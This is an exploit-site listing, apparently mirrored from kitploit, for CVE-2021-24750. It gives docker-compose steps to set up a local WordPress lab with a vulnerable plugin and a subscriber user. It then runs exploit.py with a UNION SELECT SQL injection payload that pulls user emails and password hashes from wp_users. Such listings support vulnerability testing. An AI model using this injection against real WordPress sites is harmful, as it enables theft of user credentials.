Sploitus

Exploit for CVE-2021-24750

kitploit · 2026-09-10

Exploit Code

MARKDOWN31 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FIMTOW-CVE-2021-24750
# How to use

  * Start mysql, wordpress and wordpress-cli using docker-compose



root@kitploit:~
    
    
    docker-compose -f docker-compose.yaml up -d
    

  * Install wordpress, activate the plugin and create a user with the role subscriber using wordpress-cli



root@kitploit:~
    
    
    docker-compose run --rm wp-cli install-wp
    

  * Start the exploit script with an sql query that gets users emails and passwords



root@kitploit:~
    
    
    python3 exploit.py -C 'union select 1,1,user_email,user_pass from wp_users -- '